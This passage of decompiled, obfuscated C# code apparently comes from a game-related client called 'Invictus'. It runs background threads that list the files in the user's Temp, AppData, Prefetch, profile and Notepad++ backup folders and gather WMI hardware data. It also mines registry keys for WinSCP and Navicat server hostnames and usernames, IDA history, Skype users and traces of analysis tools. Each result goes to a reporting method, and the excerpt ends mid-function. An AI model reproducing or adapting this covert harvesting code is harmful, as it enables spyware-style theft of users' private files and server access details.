  1582. GClass22.mutex_1.ReleaseMutex();
  1583. }
  1584. if (text.Length != 0)
  1585. {
  1586. GClass22.mutex_1.WaitOne();
  1587. this.method_3("Steam\n" + text, "SteamInfo", false);
  1588. GClass22.mutex_1.ReleaseMutex();
  1589. }
  1590. this.int_0++;
  1591. Console.Write("Done 3\n");
  1592. }
  1593.  
  1594. // Token: 0x06000120 RID: 288 RVA: 0x00017A68 File Offset: 0x00015C68
  1595. [CompilerGenerated]
  1596. private void method_14()
  1597. {
  1598. Thread.CurrentThread.IsBackground = true;
  1599. try
  1600. {
  1601. List<string> list = GClass22.smethod_7(new DirectoryInfo(Environment.GetEnvironmentVariable("WINDIR") + "\\Prefetch"), "*", false, false);
  1602. string str = string.Join("\n", list.ToArray());
  1603. GClass22.mutex_1.WaitOne();
  1604. this.method_3("Prefetch\n" + str, "PrefetchFolder", false);
  1605. GClass22.mutex_1.ReleaseMutex();
  1606. }
  1607. catch
  1608. {
  1609. GClass22.mutex_1.WaitOne();
  1610. this.method_3("Prefetch\nNot Found", "PrefetchFolder", false);
  1611. GClass22.mutex_1.ReleaseMutex();
  1612. }
  1613. this.int_0++;
  1614. Console.Write("Done 4\n");
  1615. }
  1616.  
  1617. // Token: 0x06000121 RID: 289 RVA: 0x00017B44 File Offset: 0x00015D44
  1618. [CompilerGenerated]
  1619. private void method_15()
  1620. {
  1621. Thread.CurrentThread.IsBackground = true;
  1622. string a = string.Empty;
  1623. while (GClass22.string_5 == "")
  1624. {
  1625. }
  1626. try
  1627. {
  1628. a = File.ReadAllText(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\EPM DayZ RCon Tool\\Settings.xml");
  1629. }
  1630. catch
  1631. {
  1632. }
  1633. try
  1634. {
  1635. a = File.ReadAllText(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Documents\\Battleye Control Panel\\servers.xml");
  1636. }
  1637. catch
  1638. {
  1639. }
  1640. if (a != string.Empty)
  1641. {
  1642. GClass22.mutex_1.WaitOne();
  1643. this.method_3("RCon_Detectected\n", "RCon - BE Admin Tool", false);
  1644. GClass22.mutex_1.ReleaseMutex();
  1645. }
  1646. a = "";
  1647. this.int_0++;
  1648. Console.Write("Done 5\n");
  1649. }
  1650.  
  1651. // Token: 0x06000122 RID: 290 RVA: 0x00017C1C File Offset: 0x00015E1C
  1652. [CompilerGenerated]
  1653. private void method_16()
  1654. {
  1655. Thread.CurrentThread.IsBackground = true;
  1656. try
  1657. {
  1658. List<string> list = GClass22.smethod_7(new DirectoryInfo(Environment.GetEnvironmentVariable("TEMP")), "*", true, false);
  1659. string str = string.Join("\n", list.ToArray());
  1660. GClass22.mutex_1.WaitOne();
  1661. this.method_3("Temp\n" + str, "TempFolder", false);
  1662. GClass22.mutex_1.ReleaseMutex();
  1663. }
  1664. catch
  1665. {
  1666. GClass22.mutex_1.WaitOne();
  1667. this.method_3("Temp\n Not Found", "TempFolder", false);
  1668. GClass22.mutex_1.ReleaseMutex();
  1669. }
  1670. this.int_0++;
  1671. Console.Write("Done 6\n");
  1672. }
  1673.  
  1674. // Token: 0x06000123 RID: 291 RVA: 0x00017CEC File Offset: 0x00015EEC
  1675. [CompilerGenerated]
  1676. private void method_17()
  1677. {
  1678. Thread.CurrentThread.IsBackground = true;
  1679. try
  1680. {
  1681. List<string> list = GClass22.smethod_7(new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)), "*", true, false);
  1682. string str = string.Join("\n", list.ToArray());
  1683. GClass22.mutex_1.WaitOne();
  1684. this.method_3("Appdata\n" + str, "AppdataFolder", false);
  1685. GClass22.mutex_1.ReleaseMutex();
  1686. }
  1687. catch
  1688. {
  1689. GClass22.mutex_1.WaitOne();
  1690. this.method_3("Appdata\n Not Found", "AppdataFolder", false);
  1691. GClass22.mutex_1.ReleaseMutex();
  1692. }
  1693. this.int_0++;
  1694. Console.Write("Done 7\n");
  1695. }
  1696.  
  1697. // Token: 0x06000124 RID: 292 RVA: 0x00017DBC File Offset: 0x00015FBC
  1698. [CompilerGenerated]
  1699. private void method_18()
  1700. {
  1701. Thread.CurrentThread.IsBackground = true;
  1702. string text;
  1703. try
  1704. {
  1705. List<string> list = GClass22.smethod_7(new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\TS3Client"), "*", false, false);
  1706. text = string.Join("\n", list.ToArray());
  1707. GClass22.mutex_1.WaitOne();
  1708. this.method_3("TS3Client\n" + text, "TS3Folder", false);
  1709. GClass22.mutex_1.ReleaseMutex();
  1710. text = "";
  1711. }
  1712. catch
  1713. {
  1714. GClass22.mutex_1.WaitOne();
  1715. this.method_3("TS3Client\n Not Found", "TS3Folder", false);
  1716. GClass22.mutex_1.ReleaseMutex();
  1717. }
  1718. text = "";
  1719. try
  1720. {
  1721. foreach (string text2 in new string[]
  1722. {
  1723. "Win32_OperatingSystem",
  1724. "Win32_SystemOperatingSystem",
  1725. "Win32_ComputerSystem",
  1726. "Win32_BIOS",
  1727. "Win32_BootConfiguration",
  1728. "Win32_DiskPartition",
  1729. "Win32_DiskDrive"
  1730. })
  1731. {
  1732. ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("select * from " + text2);
  1733. text = text + "\n\nKey Start: " + text2 + "[\n";
  1734. foreach (ManagementBaseObject managementBaseObject in managementObjectSearcher.Get())
  1735. {
  1736. ManagementObject managementObject = (ManagementObject)managementBaseObject;
  1737. try
  1738. {
  1739. foreach (PropertyData propertyData in managementObject.Properties)
  1740. {
  1741. try
  1742. {
  1743. text = string.Concat(new string[]
  1744. {
  1745. text,
  1746. "\nProperty: ",
  1747. propertyData.Name,
  1748. "Value: ",
  1749. propertyData.Value.ToString()
  1750. });
  1751. }
  1752. catch
  1753. {
  1754. }
  1755. }
  1756. }
  1757. catch
  1758. {
  1759. }
  1760. }
  1761. text = text + "\n\nKey End: " + text2 + "]\n\n";
  1762. }
  1763. GClass22.mutex_1.WaitOne();
  1764. this.method_3("SystemInformation\n" + text, "SystemInformation", false);
  1765. GClass22.mutex_1.ReleaseMutex();
  1766. text = "";
  1767. }
  1768. catch
  1769. {
  1770. GClass22.mutex_1.WaitOne();
  1771. this.method_3("SystemInformation\n Not Found", "SystemInformation", false);
  1772. GClass22.mutex_1.ReleaseMutex();
  1773. }
  1774. text = "";
  1775. this.int_0++;
  1776. Console.Write("Done 8\n");
  1777. }
  1778.  
  1779. // Token: 0x06000125 RID: 293 RVA: 0x000180C0 File Offset: 0x000162C0
  1780. [CompilerGenerated]
  1781. private void method_19()
  1782. {
  1783. Thread.CurrentThread.IsBackground = true;
  1784. try
  1785. {
  1786. List<string> list = GClass22.smethod_7(new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Notepad++\\backup"), "*", false, false);
  1787. string str = string.Join("\n", list.ToArray());
  1788. GClass22.mutex_1.WaitOne();
  1789. this.method_3("Notepad++\n" + str, "Notepad++Folder", false);
  1790. GClass22.mutex_1.ReleaseMutex();
  1791. }
  1792. catch
  1793. {
  1794. GClass22.mutex_1.WaitOne();
  1795. this.method_3("Notepad++\n Not Found", "Notepad++Folder", false);
  1796. GClass22.mutex_1.ReleaseMutex();
  1797. }
  1798. this.int_0++;
  1799. Console.Write("Done 10\n");
  1800. }
  1801.  
  1802. // Token: 0x06000126 RID: 294 RVA: 0x00018198 File Offset: 0x00016398
  1803. [CompilerGenerated]
  1804. private void method_20()
  1805. {
  1806. Thread.CurrentThread.IsBackground = true;
  1807. try
  1808. {
  1809. List<string> list = GClass22.smethod_7(new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile)), "*", true, false);
  1810. string str = string.Join("\n", list.ToArray());
  1811. GClass22.mutex_1.WaitOne();
  1812. this.method_3("UserProfile\n" + str, "UserprofileFolder", false);
  1813. GClass22.mutex_1.ReleaseMutex();
  1814. }
  1815. catch
  1816. {
  1817. GClass22.mutex_1.WaitOne();
  1818. this.method_3("UserProfile\n Not Found", "UserprofileFolder", false);
  1819. GClass22.mutex_1.ReleaseMutex();
  1820. }
  1821. this.int_0++;
  1822. Console.Write("Done 12\n");
  1823. }
  1824.  
  1825. // Token: 0x06000127 RID: 295 RVA: 0x00018268 File Offset: 0x00016468
  1826. [CompilerGenerated]
  1827. private void method_21()
  1828. {
  1829. Thread.CurrentThread.IsBackground = true;
  1830. try
  1831. {
  1832. List<string> list = GClass22.smethod_7(new DirectoryInfo(Directory.GetCurrentDirectory()), "*", false, false);
  1833. string str = string.Join("\n", list.ToArray());
  1834. GClass22.mutex_1.WaitOne();
  1835. this.method_3("Invictus Folder\n" + str, "InvictusFolder", false);
  1836. GClass22.mutex_1.ReleaseMutex();
  1837. }
  1838. catch
  1839. {
  1840. GClass22.mutex_1.WaitOne();
  1841. this.method_3("Invictus Folder\n Not Found", "InvictusFolder", false);
  1842. GClass22.mutex_1.ReleaseMutex();
  1843. }
  1844. this.int_0++;
  1845. Console.Write("Done 13\n");
  1846. }
  1847.  
  1848. // Token: 0x06000128 RID: 296 RVA: 0x00018334 File Offset: 0x00016534
  1849. [CompilerGenerated]
  1850. private void method_22()
  1851. {
  1852. Thread.CurrentThread.IsBackground = true;
  1853. string text = "Registry Scan\n";
  1854. string[] array = new string[]
  1855. {
  1856. "Hex-Rays",
  1857. "Skype",
  1858. "ReClass",
  1859. "QtProject",
  1860. "PremiumSoft",
  1861. "Netsparker",
  1862. "Martin Prikryl",
  1863. "Wireshark",
  1864. "VB and VBA Program Settings",
  1865. "Telerik",
  1866. "Sysinternals"
  1867. };
  1868. try
  1869. {
  1870. RegistryKey currentUser = Registry.CurrentUser;
  1871. if (currentUser == null)
  1872. {
  1873. GClass22.mutex_1.WaitOne();
  1874. this.method_3("Static Debugger Scan\nError No CurrentUser", "Static Debugger Scan", false);
  1875. GClass22.mutex_1.ReleaseMutex();
  1876. Environment.Exit(0);
  1877. }
  1878. foreach (string text2 in currentUser.OpenSubKey("SOFTWARE", true).GetSubKeyNames())
  1879. {
  1880. foreach (string text3 in array)
  1881. {
  1882. if (text2.ToLower().Contains(text3.ToLower()))
  1883. {
  1884. string text4 = text3.ToLower();
  1885. uint num = <PrivateImplementationDetails>.ComputeStringHash(text4);
  1886. if (num <= 1501760054u)
  1887. {
  1888. if (num <= 968889901u)
  1889. {
  1890. if (num != 343902836u)
  1891. {
  1892. if (num != 968889901u)
  1893. {
  1894. goto IL_12A7;
  1895. }
  1896. if (!(text4 == "qtproject"))
  1897. {
  1898. goto IL_12A7;
  1899. }
  1900. try
  1901. {
  1902. text += "\n";
  1903. RegistryKey registryKey = currentUser.OpenSubKey("SOFTWARE\\" + text2, true);
  1904. if (registryKey != null)
  1905. {
  1906. RegistryKey registryKey2 = registryKey.OpenSubKey("OrganizationDefaults");
  1907. if (registryKey2 != null)
  1908. {
  1909. text = text + "\n" + registryKey2.Name + " = TRUE";
  1910. RegistryKey registryKey3 = registryKey2.OpenSubKey("Qt");
  1911. if (registryKey3 != null)
  1912. {
  1913. text = text + "\n" + registryKey3.Name + " = TRUE";
  1914. RegistryValueKind valueKind = registryKey3.GetValueKind("filedialog");
  1915. if (valueKind == RegistryValueKind.Binary)
  1916. {
  1917. string text5 = BitConverter.ToString((byte[])registryKey3.GetValue("filedialog"));
  1918. text = text + "\n" + text5.ToString();
  1919. }
  1920. else
  1921. {
  1922. text = string.Concat(new string[]
  1923. {
  1924. text,
  1925. "\n",
  1926. currentUser.Name,
  1927. "\\SOFTWARE\\QtProject\\OrganizationDefaults\\Qt\\filedailog != BINARY = ",
  1928. valueKind.ToString()
  1929. });
  1930. }
  1931. }
  1932. else
  1933. {
  1934. text = text + "\n" + currentUser.Name + "\\SOFTWARE\\QtProject\\OrganizationDefaults\\Qt = FALSE";
  1935. foreach (string name in registryKey2.GetSubKeyNames())
  1936. {
  1937. text = text + "\n" + registryKey2.OpenSubKey(name).Name + " = TRUE";
  1938. }
  1939. }
  1940. }
  1941. else
  1942. {
  1943. text = text + "\n" + currentUser.Name + "\\SOFTWARE\\QtProject\\OrganizationDefaults = FALSE";
  1944. foreach (string name2 in registryKey.GetSubKeyNames())
  1945. {
  1946. text = text + "\n" + registryKey.OpenSubKey(name2).Name + " = TRUE";
  1947. }
  1948. }
  1949. }
  1950. else
  1951. {
  1952. text = text + "\n" + currentUser.Name + "\\SOFTWARE\\QtProject = FALSE";
  1953. }
  1954. goto IL_12A7;
  1955. }
  1956. catch (Exception ex)
  1957. {
  1958. text = string.Concat(new string[]
  1959. {
  1960. text,
  1961. "\n",
  1962. currentUser.Name,
  1963. "\\SOFTWARE\\QtProject = ",
  1964. ex.Message
  1965. });
  1966. goto IL_12A7;
  1967. }
  1968. }
  1969. if (!(text4 == "vb and vba program settings"))
  1970. {
  1971. goto IL_12A7;
  1972. }
  1973. try
  1974. {
  1975. text += "\n";
  1976. RegistryKey registryKey4 = currentUser.OpenSubKey("SOFTWARE\\" + text2, true);
  1977. if (registryKey4 != null)
  1978. {
  1979. text = text + "\n" + registryKey4.Name + " = TRUE";
  1980. RegistryKey registryKey5 = registryKey4.OpenSubKey("Win64AST", true);
  1981. if (registryKey5 != null)
  1982. {
  1983. text = text + "\n" + registryKey5.Name + " = TRUE";
  1984. }
  1985. else
  1986. {
  1987. text = text + "\n" + currentUser.Name + "\\SOFTWARE\\VB and VBA Program Settings\\Win64AST = FALSE";
  1988. foreach (string name3 in registryKey4.GetSubKeyNames())
  1989. {
  1990. text = text + "\n" + registryKey4.OpenSubKey(name3).Name + " = TRUE";
  1991. }
  1992. }
  1993. }
  1994. else
  1995. {
  1996. text = text + "\n" + currentUser.Name + "\\SOFTWARE\\VB and VBA Program Settings = FALSE";
  1997. }
  1998. goto IL_12A7;
  1999. }
  2000. catch (Exception ex2)
  2001. {
  2002. text = string.Concat(new string[]
  2003. {
  2004. text,
  2005. "\n",
  2006. currentUser.Name,
  2007. "\\SOFTWARE\\VB and VBA Program Settings = ",
  2008. ex2.Message
  2009. });
  2010. goto IL_12A7;
  2011. }
  2012. }
  2013. if (num != 1095522125u)
  2014. {
  2015. if (num != 1371261999u)
  2016. {
  2017. if (num != 1501760054u)
  2018. {
  2019. goto IL_12A7;
  2020. }
  2021. if (!(text4 == "netsparker"))
  2022. {
  2023. goto IL_12A7;
  2024. }
  2025. try
  2026. {
  2027. text += "\n";
  2028. RegistryKey registryKey6 = currentUser.OpenSubKey("SOFTWARE\\" + text2, true);
  2029. if (registryKey6 != null)
  2030. {
  2031. text = text + "\n" + registryKey6.Name + " = TRUE";
  2032. }
  2033. else
  2034. {
  2035. text = text + "\n" + currentUser.Name + "\\SOFTWARE\\NetSparker = FALSE";
  2036. }
  2037. goto IL_12A7;
  2038. }
  2039. catch (Exception ex3)
  2040. {
  2041. text = string.Concat(new string[]
  2042. {
  2043. text,
  2044. "\n",
  2045. currentUser.Name,
  2046. "\\SOFTWARE\\NetSparker = ",
  2047. ex3.Message
  2048. });
  2049. goto IL_12A7;
  2050. }
  2051. }
  2052. if (!(text4 == "martin prikryl"))
  2053. {
  2054. goto IL_12A7;
  2055. }
  2056. try
  2057. {
  2058. text += "\n";
  2059. RegistryKey registryKey7 = currentUser.OpenSubKey("SOFTWARE\\" + text2, true);
  2060. if (registryKey7 != null)
  2061. {
  2062. text = text + "\n" + registryKey7.Name + " = TRUE";
  2063. RegistryKey registryKey8 = registryKey7.OpenSubKey("WinSCP 2", true);
  2064. if (registryKey8 != null)
  2065. {
  2066. text = text + "\n" + registryKey8.Name + " = TRUE";
  2067. RegistryKey registryKey9 = registryKey8.OpenSubKey("Sessions", true);
  2068. if (registryKey9 != null)
  2069. {
  2070. foreach (string text6 in registryKey9.GetSubKeyNames())
  2071. {
  2072. if (!string.IsNullOrWhiteSpace(text6))
  2073. {
  2074. RegistryKey registryKey10 = registryKey9.OpenSubKey(text6, true);
  2075. if (registryKey10 != null)
  2076. {
  2077. text = string.Concat(new object[]
  2078. {
  2079. text,
  2080. "\n",
  2081. registryKey10.Name,
  2082. " = ",
  2083. registryKey10.GetValue("HostName"),
  2084. " ",
  2085. registryKey10.GetValue("RemoteDirectory"),
  2086. " ",
  2087. registryKey10.GetValue("UserName")
  2088. });
  2089. }
  2090. }
  2091. }
  2092. }
  2093. else
  2094. {
  2095. text = text + "\n" + currentUser.Name + "\\SOFTWARE\\Martin Prikryl\\WinSCP 2\\Sessions = FALSE";
  2096. foreach (string name4 in registryKey8.GetSubKeyNames())
  2097. {
  2098. text = text + "\n" + registryKey8.OpenSubKey(name4).Name + " = TRUE";
  2099. }
  2100. }
  2101. }
  2102. else
  2103. {
  2104. text = text + "\n" + currentUser.Name + "\\SOFTWARE\\Martin Prikryl\\WinSCP 2 = FALSE";
  2105. foreach (string name5 in registryKey7.GetSubKeyNames())
  2106. {
  2107. text = text + "\n" + registryKey7.OpenSubKey(name5).Name + " = TRUE";
  2108. }
  2109. }
  2110. }
  2111. else
  2112. {
  2113. text = text + "\n" + currentUser.Name + "\\SOFTWARE\\Martin Prikryl = FALSE";
  2114. }
  2115. goto IL_12A7;
  2116. }
  2117. catch (Exception ex4)
  2118. {
  2119. text = string.Concat(new string[]
  2120. {
  2121. text,
  2122. "\n",
  2123. currentUser.Name,
  2124. "\\SOFTWARE\\Martin Prikryl = ",
  2125. ex4.Message
  2126. });
  2127. goto IL_12A7;
  2128. }
  2129. }
  2130. if (!(text4 == "wireshark"))
  2131. {
  2132. goto IL_12A7;
  2133. }
  2134. try
  2135. {
  2136. text += "\n";
  2137. RegistryKey registryKey11 = currentUser.OpenSubKey("SOFTWARE\\" + text2, true);
  2138. if (registryKey11 != null)
  2139. {
  2140. text = text + "\n" + registryKey11.Name + " = TRUE";
  2141. RegistryKey registryKey12 = registryKey11.OpenSubKey("WinSparkle Settings", true);
  2142. if (registryKey12 != null)
  2143. {
  2144. text = text + "\n" + registryKey12.Name + " = TRUE";
  2145. text = string.Concat(new string[]
  2146. {
  2147. text,
  2148. "\n",
  2149. registryKey12.Name,
  2150. "\\LastUpdateCheckTime = ",
  2151. registryKey12.GetValue("LastCheckTime").ToString()
  2152. });
  2153. text = string.Concat(new string[]
  2154. {
  2155. text,
  2156. "\n",
  2157. registryKey12.Name,
  2158. "\\CheckForUpdates = ",
  2159. registryKey12.GetValue("CheckForUpdates").ToString()
  2160. });
  2161. }
  2162. else
  2163. {
  2164. text = text + "\n" + currentUser.Name + "\\SOFTWARE\\WinSparkle Settings = FALSE";
  2165. foreach (string name6 in registryKey11.GetSubKeyNames())
  2166. {
  2167. text = text + "\n" + registryKey11.OpenSubKey(name6).Name + " = TRUE";
  2168. }
  2169. }
  2170. }
  2171. else
  2172. {
  2173. text = text + "\n" + currentUser.Name + "\\SOFTWARE\\WireShark = FALSE";
  2174. }
  2175. goto IL_12A7;
  2176. }
  2177. catch (Exception ex5)
  2178. {
  2179. text = string.Concat(new string[]
  2180. {
  2181. text,
  2182. "\n",
  2183. currentUser.Name,
  2184. "\\SOFTWARE\\WireShark = ",
  2185. ex5.Message
  2186. });
  2187. goto IL_12A7;
  2188. }
  2189. }
  2190. if (num <= 3432797306u)
  2191. {
  2192. if (num != 2427542005u)
  2193. {
  2194. if (num != 2833369765u)
  2195. {
  2196. if (num != 3432797306u)
  2197. {
  2198. goto IL_12A7;
  2199. }
  2200. if (!(text4 == "premiumsoft"))
  2201. {
  2202. goto IL_12A7;
  2203. }
  2204. try
  2205. {
  2206. text += "\n";
  2207. RegistryKey registryKey13 = currentUser.OpenSubKey("SOFTWARE\\" + text2, true);
  2208. if (registryKey13 != null)
  2209. {
  2210. RegistryKey registryKey14 = registryKey13;
  2211. text = text + "\n" + registryKey14.Name + " = TRUE";
  2212. foreach (string text7 in registryKey14.GetSubKeyNames())
  2213. {
  2214. if (!string.IsNullOrWhiteSpace(text7))
  2215. {
  2216. RegistryKey registryKey15 = registryKey14.OpenSubKey(text7, true).OpenSubKey("Servers");
  2217. if (registryKey15 != null)
  2218. {
  2219. foreach (string name7 in registryKey15.GetSubKeyNames())
  2220. {
  2221. RegistryKey registryKey16 = registryKey15.OpenSubKey(name7, true);
  2222. if (registryKey16 != null)
  2223. {
  2224. text = string.Concat(new string[]
  2225. {
  2226. text,
  2227. "\n",
  2228. registryKey16.Name,
  2229. " = ",
  2230. registryKey16.GetValue("Host").ToString(),
  2231. " | ",
  2232. registryKey16.GetValue("UserName").ToString()
  2233. });
  2234. }
  2235. }
  2236. }
  2237. }
  2238. }
  2239. }
  2240. else
  2241. {
  2242. text = text + "\n" + currentUser.Name + "\\SOFTWARE\\PremiumSoft = FALSE";
  2243. }
  2244. goto IL_12A7;
  2245. }
  2246. catch (Exception ex6)
  2247. {
  2248. text = string.Concat(new string[]
  2249. {
  2250. text,
  2251. "\n",
  2252. currentUser.Name,
  2253. "\\SOFTWARE\\PremiumSoft = ",
  2254. ex6.Message
  2255. });
  2256. goto IL_12A7;
  2257. }
  2258. }
  2259. if (!(text4 == "telerik"))
  2260. {
  2261. goto IL_12A7;
  2262. }
  2263. try
  2264. {
  2265. text += "\n";
  2266. RegistryKey registryKey17 = currentUser.OpenSubKey("SOFTWARE\\" + text2, true);
  2267. if (registryKey17 != null)
  2268. {
  2269. text = text + "\n" + registryKey17.Name + " = TRUE";
  2270. RegistryKey registryKey18 = registryKey17.OpenSubKey("Fiddler", true);
  2271. if (registryKey18 != null)
  2272. {
  2273. text = text + "\n" + registryKey18.Name + " = TRUE";
  2274. }
  2275. else
  2276. {
  2277. text = text + "\n" + currentUser.Name + "\\SOFTWARE\\Telerik\\Fiddler = FALSE";
  2278. foreach (string name8 in registryKey17.GetSubKeyNames())
  2279. {
  2280. text = text + "\n" + registryKey17.OpenSubKey(name8).Name + " = TRUE";
  2281. }
  2282. }
  2283. }
  2284. else
  2285. {
  2286. text = text + "\n" + currentUser.Name + "\\SOFTWARE\\Telerik = FALSE";
  2287. }
  2288. goto IL_12A7;
  2289. }
  2290. catch (Exception ex7)
  2291. {
  2292. text = string.Concat(new string[]
  2293. {
  2294. text,
  2295. "\n",
  2296. currentUser.Name,
  2297. "\\SOFTWARE\\Telerik = ",
  2298. ex7.Message
  2299. });
  2300. goto IL_12A7;
  2301. }
  2302. }
  2303. if (!(text4 == "skype"))
  2304. {
  2305. goto IL_12A7;
  2306. }
  2307. try
  2308. {
  2309. text += "\n";
  2310. if (text2 == "Skype")
  2311. {
  2312. RegistryKey registryKey19 = currentUser.OpenSubKey("SOFTWARE\\" + text2, true);
  2313. if (registryKey19 != null)
  2314. {
  2315. RegistryKey registryKey20 = registryKey19.OpenSubKey("Phone", true);
  2316. if (registryKey20 != null)
  2317. {
  2318. text = text + "\n" + registryKey20.Name + " = TRUE";
  2319. foreach (string text8 in registryKey20.OpenSubKey("Users").GetSubKeyNames())
  2320. {
  2321. if (!string.IsNullOrWhiteSpace(text8))
  2322. {
  2323. text = text + "\nUSER = " + text8;
  2324. }
  2325. }
  2326. }
  2327. else
  2328. {
  2329. text = text + "\n" + registryKey19.Name + "\\Phone = FALSE";
  2330. }
  2331. }
  2332. else
  2333. {
  2334. text = text + "\n" + currentUser.Name + "\\SOFTWARE\\Skype = FALSE";
  2335. }
  2336. }
  2337. goto IL_12A7;
  2338. }
  2339. catch (Exception ex8)
  2340. {
  2341. text = string.Concat(new string[]
  2342. {
  2343. text,
  2344. "\n",
  2345. currentUser.Name,
  2346. "\\SOFTWARE\\Skype = ",
  2347. ex8.Message
  2348. });
  2349. goto IL_12A7;
  2350. }
  2351. }
  2352. if (num != 3636101384u)
  2353. {
  2354. if (num != 3724530152u)
  2355. {
  2356. if (num != 3900678468u || !(text4 == "hex-rays"))
  2357. {
  2358. goto IL_12A7;
  2359. }
  2360. try
  2361. {
  2362. text += "\n";
  2363. RegistryKey registryKey21 = currentUser.OpenSubKey("SOFTWARE\\" + text2, true);
  2364. if (registryKey21 != null)
  2365. {
  2366. RegistryKey registryKey22 = registryKey21.OpenSubKey("IDA");
  2367. if (registryKey22 != null)
  2368. {
  2369. text = text + "\n" + registryKey22.Name + " = TRUE";
  2370. foreach (string text9 in registryKey22.OpenSubKey("History").GetValueNames())
  2371. {
  2372. if (!string.IsNullOrWhiteSpace(text9))
  2373. {
  2374. text = string.Concat(new object[]
  2375. {
  2376. text,
  2377. "\n",
  2378. text9,
  2379. " = ",
  2380. registryKey22.OpenSubKey("History").GetValue(text9)
  2381. });
  2382. }
  2383. }
  2384. foreach (string text10 in registryKey22.OpenSubKey("History64").GetValueNames())
  2385. {
  2386. if (!string.IsNullOrWhiteSpace(text10))
  2387. {
  2388. text = string.Concat(new object[]
  2389. {
  2390. text,
  2391. "\n",
  2392. text10,
  2393. " = ",
  2394. registryKey22.OpenSubKey("History64").GetValue(text10)
  2395. });
  2396. }
  2397. }
  2398. foreach (string text11 in registryKey22.OpenSubKey("History").GetSubKeyNames())
  2399. {
  2400. if (!string.IsNullOrWhiteSpace(text11))
  2401. {
  2402. foreach (string text12 in registryKey22.OpenSubKey("History").OpenSubKey(text11).GetValueNames())
  2403. {
  2404. if (!string.IsNullOrWhiteSpace(text12))
  2405. {
  2406. text = string.Concat(new object[]
  2407. {
  2408. text,
  2409. "\n",
  2410. text12,
  2411. " = ",
  2412. registryKey22.OpenSubKey("History").OpenSubKey(text11).GetValue(text12)
  2413. });
  2414. }
  2415. }
  2416. }
  2417. }
  2418. foreach (string text13 in registryKey22.OpenSubKey("History64").GetSubKeyNames())
  2419. {
  2420. if (!string.IsNullOrWhiteSpace(text13))
  2421. {
  2422. foreach (string text14 in registryKey22.OpenSubKey("History64").OpenSubKey(text13).GetValueNames())
  2423. {
  2424. if (!string.IsNullOrWhiteSpace(text14))
  2425. {
  2426. text = string.Concat(new object[]
  2427. {
  2428. text,
  2429. "\n",
  2430. text14,
  2431. " = ",
  2432. registryKey22.OpenSubKey("History").OpenSubKey(text13).GetValue(text14)
  2433. });
  2434. }
  2435. }
  2436. }
  2437. }
  2438. }
  2439. else
  2440. {
  2441. text = text + "\n" + registryKey21.Name + "\\IDA = FALSE";
  2442. foreach (string name9 in registryKey21.GetSubKeyNames())
  2443. {
  2444. text = text + "\n" + registryKey21.OpenSubKey(name9).Name + " = TRUE";
  2445. }
  2446. }
  2447. }
  2448. else
  2449. {
  2450. text = text + "\n" + currentUser.Name + "\\SOFTWARE\\Hex-Rays = FALSE";
  2451. }
  2452. goto IL_12A7;
  2453. }
  2454. catch (Exception ex9)
  2455. {
  2456. text = string.Concat(new string[]
  2457. {
  2458. text,
  2459. "\n",
  2460. currentUser.Name,
  2461. "\\SOFTWARE\\Hex-Rays = ",
  2462. ex9.Message
  2463. });
  2464. goto IL_12A7;
  2465. }
  2466. }
  2467. if (!(text4 == "sysinternals"))
  2468. {
  2469. goto IL_12A7;
  2470. }
  2471. try
  2472. {
  2473. text += "\n";
  2474. RegistryKey registryKey23 = currentUser.OpenSubKey("SOFTWARE\\" + text2, true);
  2475. if (registryKey23 != null)
  2476. {
  2477. text = text + "\n" + registryKey23.Name + " = TRUE";
  2478. foreach (string name10 in registryKey23.GetSubKeyNames())
  2479. {
  2480. text = text + "\n" + registryKey23.OpenSubKey(name10, true).Name + " = TRUE";
  2481. }
  2482. }
  2483. else
  2484. {
  2485. text = text + "\n" + currentUser.Name + "\\SOFTWARE\\Sysinternals = FALSE";
  2486. }
  2487. goto IL_12A7;
  2488. }
  2489. catch (Exception ex10)
  2490. {
  2491. text = string.Concat(new string[]
  2492. {
  2493. text,
  2494. "\n",
  2495. currentUser.Name,
  2496. "\\SOFTWARE\\Sysinternals = ",
  2497. ex10.Message
  2498. });
  2499. goto IL_12A7;
  2500. }
  2501. }
  2502. if (text4 == "reclass")
  2503. {
  2504. try
  2505. {
  2506. text += "\n";
  2507. RegistryKey registryKey24 = currentUser.OpenSubKey("SOFTWARE\\" + text2, true);
  2508. if (registryKey24 != null)
  2509. {
  2510. text = text + "\n" + registryKey24.Name + " = TRUE";
  2511. }
  2512. else
  2513. {
  2514. text = text + "\n" + currentUser.Name + "\\SOFTWARE\\ReClass = FALSE";
  2515. }
  2516. goto IL_12A7;
  2517. }
  2518. catch (Exception ex11)
  2519. {
  2520. text = string.Concat(new string[]
  2521. {
  2522. text,
  2523. "\n",
  2524. currentUser.Name,
  2525. "\\SOFTWARE\\ReClass = ",
  2526. ex11.Message
  2527. });
  2528. goto IL_12A7;
  2529. }
  2530. break;
  2531. }
  2532. }
  2533. IL_12A7:;
  2534. }
  2535. }
  2536. foreach (string text15 in array)
  2537. {
  2538. if (!text.ToLower().Contains(text15.ToLower()))
  2539. {
  2540. text = string.Concat(new string[]
  2541. {
  2542. text,
  2543. "\n",
  2544. currentUser.Name,
  2545. "\\SOFTWARE\\",
  2546. text15,
  2547. " = FALSE"
  2548. });
  2549. }
  2550. }
  2551. GClass22.mutex_1.WaitOne();
  2552. this.method_3("Static Debugger Scan\n" + text, "Static Debugger Scan", false);
  2553. GClass22.mutex_1.ReleaseMutex();
  2554. text = "";
  2555. }
  2556. catch (Exception ex12)
  2557. {
  2558. GClass22.mutex_1.WaitOne();
  2559. this.method_3("Static Debugger Scan\nError" + ex12.Message.ToString(), "Static Debugger Scan", false);
  2560. GClass22.mutex_1.ReleaseMutex();
  2561. }
  2562. text = "";
  2563. this.int_0++;
  2564. Console.Write("Done 14\n");
  2565. }
  2566.  
  2567. // Token: 0x06000129 RID: 297 RVA: 0x00019808 File Offset: 0x00017A08
  2568. [CompilerGenerated]
  2569. private void method_23()
  2570. {
  2571. Thread.CurrentThread.IsBackground = true;
  2572. try
  2573. {
  2574. List<string> list = GClass22.smethod_7(new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Skype"), "*", false, false);
  2575. string text = "";
